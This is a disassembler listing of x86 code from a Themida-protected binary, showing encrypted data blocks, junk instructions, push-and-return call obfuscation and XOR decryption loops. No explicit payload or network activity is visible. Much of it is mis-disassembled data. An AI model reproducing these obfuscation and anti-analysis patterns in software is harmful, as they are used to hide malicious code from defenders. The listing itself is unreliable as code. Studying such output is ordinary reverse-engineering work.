		dd 5F060F07h, 27B5B589h, 4689060Fh, 2C6EBF04h, 0E9501935h
		dd 0Fh,	0B4662B4Ch, 1315CB9Fh, 0F862E490h, 89569254h, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0BD42ACC3h, 0A947E085h, 0C3818730h, 178CCE24h, 0BABEB5FFh
		dd 0B5310612h, 60F14B9h, 4E8h, 1F03FF00h, 12E800h, 0C6FB0000h
		dd 7673403Fh, 0F741CCC6h, 6E64964Ch, 857E155Ch,	505FEFB3h
		dd 0CE860h, 0F1830000h,	0A7C3038h, 0C61DFB42h, 840F40F9h
		dd 0
; ---------------------------------------------------------------------------
		pop	ecx
		mov	ebx, edi
		popa
		mov	eax, [esp+4]
		mov	ebx, edi
		mov	eax, [eax]
		mov	[esp+4], eax
		call	near ptr loc_59F037+2
		and	al, 8Dh
		xchg	eax, esp
		mov	[edx-35h], bh


loc_59F037:				; CODE XREF: Themida_:0059F02Cp
		db	66h
		aam	0B7h
		mov	ds:0BD33585Fh, eax
		leave
		push	ds
		clts
		lea	eax, [ebp+612BAC6h]
		push	0
		push	eax
		call	sub_59F054
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59F054	proc near		; CODE XREF: Themida_:0059F04Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_59F054	endp

; ---------------------------------------------------------------------------
		dd 8BFC297Ah, 0F21B19Dh, 66605006h, 61C951BAh, 0E9240489h
		dd 13h,	63B1D760h, 0E763490Fh, 0F9417674h, 4254A8B9h, 0FF08AD55h
		dd 0F34C995h, 658D8906h, 61060F18h, 5E850h, 333C0000h
		dd 0BF6DE5D5h, 6F07F44Ah, 85C75B5Bh, 60F2491h, 3, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 35C35747h, 0E560D781h
		dd 0BD837A6Eh, 612BAC6h, 6D840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0DA3DC355h, 51FBB66h, 198E0Fh, 14E90000h, 35000000h
		dd 0C154BD0Bh, 383B2DF8h, 58922E4Ah, 0D6C919E6h, 0E9927B27h
		dd 43h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 0C35646h, 2EF18529h,	0B589060Fh, 60F2EF1h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 6AF9BFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 83E944C3h, 0F2491BDh, 850F0306h, 416h, 15A1DDBFh, 0C6BD837Ch
		dd 612BAh, 404840Fh, 81660000h,	0FF36C8F7h, 12BAC6B5h
		dd 81666006h, 660AAFCBh, 615BB0BEh, 27FD95FFh, 6A060Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 28567C3h, 0DE8B6675h, 0BABAB58Bh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 7713A2C3h
		dd 898D5D11h, 0F104DBDh, 10E806h, 74570000h, 2B4A4F66h
		dd 36FA0C14h, 0DB8A0E97h, 8D01F348h, 60F1369h, 106C75Fh
		dd 81000100h, 7F784BDBh, 5B515007h, 0F243489h, 2384h, 7E800h
		dd 0A9C70000h, 27FE49B0h, 11E9D3h, 0E1A80000h, 0C31480B9h
		dd 0BFB25A65h, 0B3B206AAh, 5BBD5DC1h, 0BAC6B5FFh, 95FF0612h
		dd 60F1301h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	8C35343h, 0B70F5200h, 9E95FDAh,	78000000h, 0CC971444h
		dd 85374640h, 0BABAB58Bh, 95890612h, 60F26DDh, 1D15858Bh
		dd 89F5060Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 958B4D01h, 60F2C65h, 10219529h
		dd 0EE9060Fh, 2B000000h, 5AF1356Dh, 43232CA6h, 4B4339B5h
		dd 4C283F8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	27C35040h, 1354B788h, 617D49A1h, 205089AAh, 27AD9D8Bh
		dd 858D060Fh, 612CF14h,	11E9h, 7CA0AC00h, 9B372C1Ah, 96711B1Fh
		dd 78D93A77h, 8689EF23h, 0B8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 53C35343h, 22E85F0Ah, 7421866Dh
		dd 0D89BD8Bh, 0CF81060Fh, 2854EFE8h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0F08174C3h
		dd 447E72F8h, 9D33D88Ah, 60F2D35h, 0BAC6B5FFh, 0BD890612h
		dd 60F1499h, 30FD95FFh,	6A060Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 242E04C3h, 0E80D1C6Eh
		dd 9, 0A9379AB0h, 513BA480h, 0EF8166A2h, 965BBA91h, 7C0FB7BFh
		dd 7CBB507Eh, 9624CAA8h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 41C35646h, 9259D8Bh, 0B589060Fh, 60F1E61h
		dd 0BAC6B5FFh, 6A0612h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0A2ED6FC3h, 756E6F8Fh, 0BD8B501Dh
		dd 60F1959h, 12E595FFh,	6A060Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 2B305DC3h, 9199D8Bh
		dd 0BD83060Fh, 60F27A1h, 41840F00h, 89000000h, 0F313995h
		dd 0FE8B9606h, 2B8A0F50h, 0E8000000h, 13h, 0F686A82Bh
		dd 0EDEDD001h, 0A49D7628h, 68DD2346h, 0E819F9E1h, 0Ch
		dd 5B5E47EFh, 0DF58D10Fh, 163113E4h, 0BF965B5Fh, 1696E759h
		dd 0BAC6B5FFh, 0BD8B0612h, 60F1741h, 341595FFh,	6A060Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0AF4421C3h, 0BD8BBFE5h, 60F2CD1h, 0EE960h, 0DC9E0000h
		dd 0F6012497h, 0AA3454DAh, 0F935E52Dh, 61E6E380h, 0BAC6B5FFh
		dd 0DF800612h, 0F595FF30h, 6A060F0Ah, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EE81C355h
		dd 0A9BD83E5h, 2060F07h, 25840Fh, 0BD330000h, 60F29C9h
		dd 2C8D858Bh, 0E953060Fh, 7, 2B82DD2Dh,	5BEC430Ch, 600000C6h
		dd 1309BD29h, 0C761060Fh, 0F106D85h, 6,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 9310C13Ch, 4074A9F3h, 0FE9FC5Eh, 0FCFFFFF3h,	0BF0FC18Bh
		dd 0BADAh, 0EA81F00Eh, 0F0000000h, 8914C283h, 0F16B995h
		dd 14EA8306h, 47D1858Dh, 64500614h, 35FFh, 89640000h, 25h
		dd 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h
		dd 1285h, 50B70F00h, 81D0033Ch,	45503Ah, 0A840F00h, 2D000000h
		dd 1000h, 0FFFFD9E9h, 89C88BFFh, 0F2B8585h, 3C400306h
		dd 650B70Fh, 30399589h,	508B060Fh, 15958950h, 5060F0Bh
		dd 0F8h, 30C508Bh, 0A99589D1h, 3060F33h, 95890850h, 60F1119h
		dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 0BD83C3C0h, 60F306Dh
		dd 24840F00h, 0C6000000h, 0F24FD85h, 0D2684706h, 0FFD49AA7h
		dd 0F2CA1B5h, 0E7858D06h, 0FF061272h, 0FF006AD0h, 0E58589D0h
		dd 8B060F13h, 0B18D8DD3h, 89061448h, 0F2D6995h,	658D8906h
		dd 6A060F2Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 2CFAC355h, 0D48B6717h,	62B866D1h
		dd 0C185C747h, 24060F07h, 0F000074h, 586h, 0EB816600h
		dd 85C76BECh, 60F2491h,	0
; ---------------------------------------------------------------------------
		jle	loc_59F744
		mov	[ebp+60F1445h],	ebx


loc_59F744:				; CODE XREF: Themida_:0059F738j
					; Themida_:0059F7B6j
		push	dword ptr [ebp+60F31F5h]
		stc
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	edx
		call	sub_59F75C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59F75C	proc near		; CODE XREF: Themida_:0059F754p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_59F75C	endp

; ---------------------------------------------------------------------------
		sal	dword ptr [ebx-5Fh], 0A9h
		ficomp	dword ptr [ebp+6A07A0h]
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_59F79C
; ---------------------------------------------------------------------------
		dd 11584358h, 40E53698h, 0EA9F4D99h, 2A9569DDh,	0E5B396D5h
		dd 0DE88D87Bh, 8FECE0E4h
; ---------------------------------------------------------------------------


loc_59F79C:				; CODE XREF: Themida_:0059F77Ej
		lea	ecx, [ebp+614495Dh]
		mov	[ebp+60F1EE9h],	ecx
		jmp	loc_59F7C1
; ---------------------------------------------------------------------------
		db 54h,	0FBh, 7Fh
; ---------------------------------------------------------------------------
		les	ebp, [edi+251E8E65h]
		db	2Eh
		jnp	short loc_59F744
		sbb	[esi-78h], ch
		add	al, 0Dh
		retn
; ---------------------------------------------------------------------------
		sub	al, 0AEh


loc_59F7C1:				; CODE XREF: Themida_:0059F7A8j
		mov	[ebp+60F2C65h],	ecx
		jo	$+6
		mov	[ebp+60F29D5h],	ecx
		mov	dword ptr [ebp+60F07C1h], 65B0h
		mov	dword ptr [ebp+60F2491h], 0
		mov	[ebp+60F07E9h],	edi
		push	dword ptr [ebp+60F1CB1h]
		push	0
		push	esi
		call	sub_59F7FE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59F7FE	proc near		; CODE XREF: Themida_:0059F7F6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_59F7FE	endp

; ---------------------------------------------------------------------------
		cmp	[eax-397F1476h], cl
		ja	short near ptr loc_59F876+2
		call	dword ptr [ebp+60F2A05h]
		mov	bx, si
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_59F867
; ---------------------------------------------------------------------------
		dd 8F330EBEh, 0FAEC5DD6h, 28C1A416h, 0D00D6B7Ah, 0CBFB1039h
		dd 2FD59D81h, 247733Fh,	39CB53AFh, 0AD90C09h, 0C7FA9F1Dh
		dd 21179651h, 2882C85Bh, 0D8C67AA5h, 6464746Dh
		db 54h,	0EEh, 2
; ---------------------------------------------------------------------------


loc_59F867:				; CODE XREF: Themida_:0059F82Aj
		call	sub_59F871
		and	byte ptr [eax],	20h
		push	ds
		inc	edi

; =============== S U B	R O U T	I N E =======================================



sub_59F871	proc near		; CODE XREF: Themida_:loc_59F867p
		mov	si, cx
		pop	ebx
		cld


loc_59F876:				; CODE XREF: Themida_:0059F815j
		add	ebx, 688Ch
		mov	edx, 4DCF950Fh
		sub	eax, eax
		mov	[ebp+60F2719h],	esi


loc_59F889:				; CODE XREF: sub_59F871+79j
		mov	ecx, [ebx+eax]
		pusha
		jl	$+6
		pusha
		mov	dx, 0CC36h
		movzx	ebx, dx
		popa
		popa
		xor	ecx, 2553F0E3h
		xor	ecx, 756D8280h
		mov	esi, edi
		xor	ecx, 361CA71Eh
		mov	[ebx+eax], ecx
		xor	[ebp+60F1269h],	ecx
		mov	edi, 376BBE9h
		sub	eax, 4
		mov	dx, 82E6h
		cmp	eax, 0FFFF9800h
		jnz	loc_59F8E4
		mov	edi, [ebp+60F0D21h]
		jmp	loc_59F8FC
; ---------------------------------------------------------------------------
		db 0ABh, 42h, 12h
		dd 4EDE12B5h
; ---------------------------------------------------------------------------


loc_59F8E4:				; CODE XREF: sub_59F871+5Bj
		sub	esi, [ebp+60F2D59h]
		jmp	loc_59F889
; ---------------------------------------------------------------------------
		db 85h
		dd 72E1534Dh, 0A902F10Dh, 0EBABA1A5h
; ---------------------------------------------------------------------------


loc_59F8FC:				; CODE XREF: sub_59F871+67j
		call	near ptr loc_59F90F+4
		clc
		or	ebp, ebx
		mov	byte ptr [ecx+52D2132Fh], 0Dh
		ror	dword ptr [esi-5], 1
		cdq


loc_59F90F:				; CODE XREF: sub_59F871:loc_59F8FCp
		mov	byte ptr [ebp-62744B1Fh], 0E9h
sub_59F871	endp ; sp-analysis failed

		sub	al, 0Fh
		push	es
		pop	edx
		mov	ecx, ebx
		add	edx, 6E95h
		mov	cl, bl
		push	0
		mov	esi, [ebp+60F013Dh]
		pop	eax
		mov	[ebp+60F2AADh],	esi


loc_59F936:				; CODE XREF: Themida_:0059F9BDj
		mov	edi, [edx+eax]
		xor	bx, 70D9h
		xor	edi, 7510B6A7h
		mov	ecx, [ebp+60F081Dh]
		sub	edi, 947B47Ah
		add	edi, 142740h
		jmp	loc_59F96D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F98DF397h, 0EE7B63FDh, 880236BFh, 0C014DF08h
		db 0
; ---------------------------------------------------------------------------


loc_59F96D:				; CODE XREF: Themida_:0059F956j
		mov	[edx+eax], edi
		or	[ebp+60F3109h],	esi
		mov	[ebp+60F0A75h],	edx
		sub	eax, 2
		jmp	loc_59F994
; ---------------------------------------------------------------------------
		dd 0AFCA1D97h, 4FD3344Bh, 0E6C418D1h, 0EB80364Dh
; ---------------------------------------------------------------------------


loc_59F994:				; CODE XREF: Themida_:0059F97Fj
		dec	eax
		dec	eax
		and	si, 0A58Ah
		cmp	eax, 0FFFF923Ch
		jnz	loc_59F9B7
		mov	[ebp+60F15A1h],	eax
		jmp	loc_59F9D6
; ---------------------------------------------------------------------------
		dw 9355h
		db 0E6h, 0D2h, 0A7h
; ---------------------------------------------------------------------------


loc_59F9B7:				; CODE XREF: Themida_:0059F9A1j
		sub	[ebp+60F0D71h],	ebx
		jmp	loc_59F936
; ---------------------------------------------------------------------------
		dw 0CAA8h
		dd 63017B4Ch, 6BA9A09Fh, 335E70Ah, 9B7B9E0Eh
		db 0D3h, 0C4h
; ---------------------------------------------------------------------------


loc_59F9D6:				; CODE XREF: Themida_:0059F9ADj
		lea	ecx, [ebp+6144BCFh]
		mov	bx, 7002h
		mov	[ebp+60F2C65h],	ecx
		push	0
		push	ebp
		call	sub_59F9F1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59F9F1	proc near		; CODE XREF: Themida_:0059F9E9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_59F9F1	endp

; ---------------------------------------------------------------------------
		db 0B2h, 4Ah, 50h
		dd 3343A1CDh, 0FE992h, 4F090000h, 702715B7h, 508A35FCh
		dd 0B9AA088Dh, 0C185C73Bh, 40060F07h, 6A000074h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4D0AC352h, 0F557F592h, 9185C75Eh, 60F24h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0C33DC357h, 0FF08639Ch, 0F213DB5h, 0CE906h
		dd 5EAA0000h, 1C96AC0h,	19A06FA1h, 95FF0033h, 60F2A05h
		dd 6A6160h, 345195FFh, 0C08B060Fh, 0DC866FEBh, 91A8CCFFh
		dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 22A560DCh, 60B2888h
		dd 0CD819B71h, 6B8D8548h, 9F52448Eh, 0C1C25299h, 0C603AD5Eh
		dd 0B2EBBBF7h, 0A48C34A6h, 0EB5D0F17h, 0A84574CCh, 0EA601B50h
		dd 795E35B8h, 3AE6EBBFh, 0F3355722h, 9666EDABh,	0F3D5898Eh
		dd 0CC0419CBh, 5682363Fh, 2F5B3E1Bh, 1EBDE525h,	20ADBD5Ah
		dd 0D991D965h, 57B8E665h, 57D1AB65h, 0FF2A135h,	135B88F6h
		dd 13536C11h, 57C63011h, 7921A35h, 9759C7F6h, 0BF84865Fh
		dd 57D24336h, 911FF15h,	53F6A4BCh, 53F62CB4h, 57D23428h
		dd 30114C73h, 0B373F9F2h, 31F12798h, 0D4DEF149h, 58CA3088h
		dd 5EA7D033h, 717FD5B6h, 23D2323Ah, 0DC814A2Ch,	53D1B5F5h
		dd 0D25B8635h, 51DD4310h, 0F86A3CB8h, 842DD624h, 0EA51306Eh
		dd 51DD1298h, 7C56E35h,	53D1B566h, 0D25B8635h, 51DD4310h
		dd 0FB753CB8h, 842DD624h, 57B8306Eh, 57D1DC64h,	0EF21A35h
		dd 1B5B54F6h, 13538211h, 57C74711h, 693A135h, 31336BF6h
		dd 57B8B8BEh, 57D1DC60h, 0AF21A35h, 3B5B50F6h, 13538211h
		dd 57CA4711h, 297A135h,	0E86EDBF6h, 5C3AE641h, 0E8D23435h
		dd 0EC9332FBh, 7576B478h, 593B8AA4h, 0FAD24335h, 551D3131h
		dd 454A6DD2h, 0BAED2116h, 97596D87h, 0BF801A5Fh, 57D20D36h
		dd 0D11DC15h, 53F617BCh, 53F6E5B4h, 57D2D02Fh, 3113A77h
		dd 2CA7A04Dh, 0DBB4B8FDh, 5D267EDh, 57D285DDh, 94886335h
		dd 7386286Fh, 73965131h, 57D27C31h, 94807635h, 0D25B7A97h
		dd 51DD272Ch, 58D62E54h, 57D667B1h, 365F2A35h, 0D4D4DF35h
		dd 58C4BD88h, 0D3DD3433h, 57D21A66h, 0BF830D5Fh, 57D28636h
		dd 0E111A15h, 53F6EDBCh, 53F694B4h, 57D2682Eh, 4D116574h
		dd 3232294Ch, 7428B5ACh, 58D38388h, 5431AA33h, 57B8A135h
		dd 57D13864h, 0EF26835h, 1B5B6DF6h, 13531E11h, 57C90911h
		dd 6938635h, 0EBB0AF6h,	6013EC66h, 0E90B5BA3h, 55D24F35h
		dd 47CF81BCh, 0EDB41C3Ah, 0D25F5F8Bh, 51C00B64h, 4FC7CE34h
		dd 872DA73Ah, 0BF80D05Fh, 57D26836h, 0D116E15h,	53F64EBCh
		dd 53F649B4h, 57D28620h, 0BE111177h, 97575410h,	5703543Ah
		dd 0DADB6835h, 51DD2C8Ch, 318522B4h, 0D2DDF6B4h, 57D2862Eh
		dd 7A83D6BCh, 0D6B4A73Ah, 55D0D44Dh, 544EEC3Ah,	0D0DD3435h
		dd 57D21A36h, 311BB23Ah, 374EBEB4h, 574BC63Ah, 57B8A135h
		dd 57D13860h, 0AF26835h, 3B5B69F6h, 13531E11h, 57CF0911h
		dd 2978635h, 0B2CC8DF6h, 0E83830CDh, 5C34F6E7h,	58E209A0h
		dd 55AAB433h, 335715DDh, 0BED20D35h, 57D2863Eh,	0E9148BFAh
		dd 0BF922F1Ah, 3119C108h, 57D410B4h, 1F573B9Eh,	3DD21A35h
		dd 543A5835h, 77D28635h, 0DE8F8068h, 0D6D68559h, 4ED6F471h
		dd 12D26835h, 0D9D1F760h, 0DCB13F9h, 57D11CDCh,	1D2EC35h
		dd 57D240DDh, 948C8135h, 73A6596Bh, 7396E931h, 57D22C31h
		dd 94845C35h, 0BAABC16Bh, 0E9040D09h, 11D34235h, 5409163Ah
		dd 58D2CDA8h, 657E533h,	3DD426B8h, 543A4935h, 77D20D35h
		dd 0DE89456Eh, 0D6D66769h, 40D68571h, 14D2D035h, 0C7B4AB66h
		dd 872D1BC4h, 57D217DDh, 73A94C35h, 0A74C1350h,	9A05B8Ah
		dd 0CA596A2Dh, 51DDE0E8h, 766FE36Ah, 0D2D43B06h, 195615F5h
		dd 0E1D20D37h, 0ECB2E6B6h, 1F7C60A8h, 542CD18Ah, 0D4DDB162h
		dd 57D26837h, 0D6B35555h, 55EF7C0Dh, 6C570237h,	58D28635h
		dd 57D247BEh, 1568C735h, 51AA517Fh, 2D8D5553h, 558AB03Ah
		dd 57B81A35h, 57D1E565h, 0FF28635h, 135B1BF6h, 1353A511h
		dd 57C9D411h, 7926835h,	0BC0B6BF6h, 1C236E1Dh, 0D6B4F433h
		dd 58B21A0Dh, 57D2C6B0h, 55AA2135h, 2C57DFDDh, 3DD26835h
		dd 543A6435h, 77D21A35h, 0DE8ACE6Dh, 0D6D6A271h, 4DD66771h
		dd 17D2A135h, 6B021365h, 0E40A3476h, 8A5F1752h,	31D41501h
		dd 57D475B4h, 105789F5h, 3DD24335h, 543AF735h, 77D2D035h
		dd 0DE8CAB6Bh, 0D6D61041h, 43D63E71h, 11D20D35h, 0A2C54563h
		dd 0BE1CF43Ah, 57D2A0F3h, 0BF84D05Fh, 57D26836h, 9116A15h
		dd 53F66EBCh, 53F649B4h, 57D2862Dh, 7B111573h, 0FA1E73A8h
		dd 576CF283h, 58AC6934h, 57D232B4h, 5A479335h, 0DAD40238h
		dd 455FD7B0h, 1D22933h,	57D2A2DDh, 948CF035h, 73A6E16Bh
		dd 7396B531h, 57D20231h, 94844B35h, 6E6B1EEFh, 3D02BC0Ah
		dd 543AF635h, 77D2D035h, 0DE8DAB6Ah, 0D6D61049h, 4CD63E71h
		dd 10D20D35h, 8C144562h, 3C6F23B1h, 0AB6DF66Bh,	0D2AD1AFBh
		dd 0A15667F5h, 0DCD23435h, 0BFEA9AEBh, 57B3883Ah, 57B88635h
		dd 57D1AB62h, 8F2A135h,	2B5B8FF6h, 13536C11h, 57CB3011h
		dd 951A35h, 0E058FFF6h,	0DEA71E53h, 58FFDEA8h, 52AA2133h
		dd 6757DF46h, 3DD26835h, 543A6635h, 77D21A35h, 0DE88CE6Fh
		dd 0D6D6A261h, 4FD66771h, 15D2A135h, 74B91367h,	0D7EE0B85h
		dd 5881334Dh, 57D2CFB1h, 86472635h, 31D4891Ch, 525D7BB4h
		dd 57AD243Ah, 0CA5BD035h, 51DD4EF0h, 3FD44CB5h,	57BD9F3Ah
		dd 57B80D35h, 57D16E67h, 0DF24335h, 35BFBF6h, 1353D411h
		dd 57C76C11h, 5903435h,	0BF4E94F6h, 57D20D25h, 0DE8884FDh
		dd 0CC0BAC0Ch, 0FAABAD9Ch, 25060691h, 6A575967h, 0ED43B1Fh
		dd 265F936Eh, 0BED4021Fh, 57D2863Ah, 4CA58EC3h,	0C898CA5Ch
		dd 0F7C50F34h, 31D89E84h, 0A8D94CB4h, 59571510h, 6D20D35h
		dd 0D0B313Ah, 57D20ADCh, 0E26DC735h, 3D12FB56h,	543A3A35h
		dd 77D23435h, 0DE88D96Fh, 0D6D62961h, 40D6A271h, 15D24335h
		dd 0D5466267h, 80587FC9h, 57D24DDCh, 4D25E35h, 57D219DDh
		dd 94892D35h, 738E0F6Eh, 7396C231h, 57D2B431h, 94819335h
		dd 566AF0C9h, 31D23435h, 0BE42C3BEh, 57D20D30h,	0AC1C56B9h
		dd 0ECB4132Ch, 5642F47Ch, 58DBE1A0h, 146FE533h,	0DAD42079h
		dd 438035B8h, 2F1B533h,	0D2D1F153h, 51DD5438h, 0BE136E1Eh
		dd 34576C37h, 0B458AC69h, 3557D232h, 385A4793h,	0B0DAD402h
		dd 33455FD7h, 5E98329h,	0E958A4F3h, 0Ch, 0A62612ADh, 9C0CB6A0h
		dd 1875FB9Ah, 6AF8B2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F01A5C3h, 38Fh,	0D78B6600h, 840FC00Bh
		dd 73h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 55C35646h, 0EBB1EFC1h, 5B531h, 0B58D060Fh, 60F4CA7h
		dd 38F0Fh, 8B660000h, 3B8FEh, 952B0000h, 60F1789h, 6AE6FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C96550C3h, 5160886Ah, 0BD9D29h, 8B66060Fh, 699589F9h
		dd 40060F12h, 2635B589h, 0C08B060Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 1CC35747h, 83CB8AAAh, 0F1891BDh
		dd 9750006h, 26ADBD83h,	7400060Fh
		dd 8B535019h, 403B8C0h,	85890000h, 60F2941h, 0B01F9D8Dh
		dd 0D3FF0611h, 0BD83585Bh, 60F26ADh, 50177400h,	403B853h
		dd 85890000h, 60F2941h,	0ACC09D8Dh, 0D3FF0611h,	5E9585Bh
		dd 0B5000000h, 0B0140F78h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 7EC35040h, 4029768Ch,	37C50BBDh, 6860Fh
		dd 95890000h, 60F0049h,	8589C08Bh, 60F2CC9h, 712ADE61h
		dd 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h
		dd 265AF198h, 2CEEF5Eh,	4E603397h, 0A5E4FFB4h, 0A92F867h
		dd 0A3BEA097h, 2021217Fh, 0A3BA7967h, 203CC501h, 165ED71Bh
		dd 29333397h, 2633831Dh, 0E1B6C098h, 7635B2CBh,	758AD615h
		dd 0D963AF8Ch, 29224D0Dh, 2664839Eh, 23593598h,	75FA1F15h
		dd 0AB634B8Ch, 32601F1Dh, 0B3CC039Eh, 203C8D9Dh, 0A23C1493h
		dd 26336AA1h, 75FAB015h, 0CE639C8Ch, 26334DAAh,	0A3BEF6D8h
		dd 20270057h, 0EFB624C8h, 7635C0CBh, 304EFF67h,	0E2B03397h
		dd 0EFB61794h, 763559CBh, 758A2315h, 0D963558Ch, 2922300Dh
		dd 26513D9Eh, 0AD666A98h, 74646474h, 2E4E11CEh,	24DA8DABh
		dd 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h
		dd 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah
		dd 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch
		dd 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h
		dd 2637A851h, 75848815h, 0ABBE9C8Ch, 20271974h,	9320h
		dd 0E7FC7800h, 7310271h, 0C783C8D0h, 850F4904h,	0FFFFFFF2h
		dd 54ECB58Dh, 8D8D0614h, 614550Bh, 0E983CF2Bh, 8DC88B05h
		dd 1455D48Dh, 0D1BF0F06h, 2C658D89h, 9E8060Fh, 0F8000000h
		dd 76F38A16h, 0C2231D46h, 0D31858Bh, 0C75A060Fh, 0F07C185h
		dd 6B5406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0FF502C0Dh, 0D1D69BD0h, 958BB661h
		dd 60F23C9h, 1831958Bh,	85C7060Fh, 60F2491h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5A044B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A044B	proc near		; CODE XREF: Themida_:005A0443p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5A044B	endp

; ---------------------------------------------------------------------------
		pop	ebp
		movsd
		pop	ebp
		mov	ecx, 2E624A14h
		push	dword ptr [ebp+60F18C1h]
		push	0
		push	esi
		call	sub_5A0474
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0474	proc near		; CODE XREF: Themida_:005A046Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5A0474	endp

; ---------------------------------------------------------------------------
		push	es
		movsx	ebx, di
		call	dword ptr [ebp+60F2A05h]
		jno	loc_5A0497
		or	bl, 13h


loc_5A0497:				; CODE XREF: Themida_:005A048Ej
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_5A04B2
; ---------------------------------------------------------------------------
		db 47h
		dd 468172ADh, 65D11226h, 0BCA1DCF0h
		db 0EDh, 21h
; ---------------------------------------------------------------------------


loc_5A04B2:				; CODE XREF: Themida_:005A04A1j
		jmp	loc_5A04E1
; ---------------------------------------------------------------------------
		db 0DFh
		dd offset loc_567BB6
		dd 9 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5A04E1:				; CODE XREF: Themida_:loc_5A04B2j
		jmp	loc_5A0A13
; ---------------------------------------------------------------------------
		dw 1A6Fh
		dd 4E072A3Fh, 0F99BBED3h, 662E5166h, 0AFC3E6FBh, 0C456778Ch
		dd 0E4F95C34h, 7A8FAAC1h, 0C213C57h, 0A3B893E9h, 817627D4h
		dd 0B666EFF8h, 0D49A6BFh, 1CC72336h, 0F9642E95h, 0A92A5F14h
		dd 7055F086h, 6592B5CDh, 34807728h, 14B76D04h, 29AADF42h
		dd 0C89BF114h, 433E017h, 0DEB4576Dh, 0ACE1967Bh, 99EF9277h
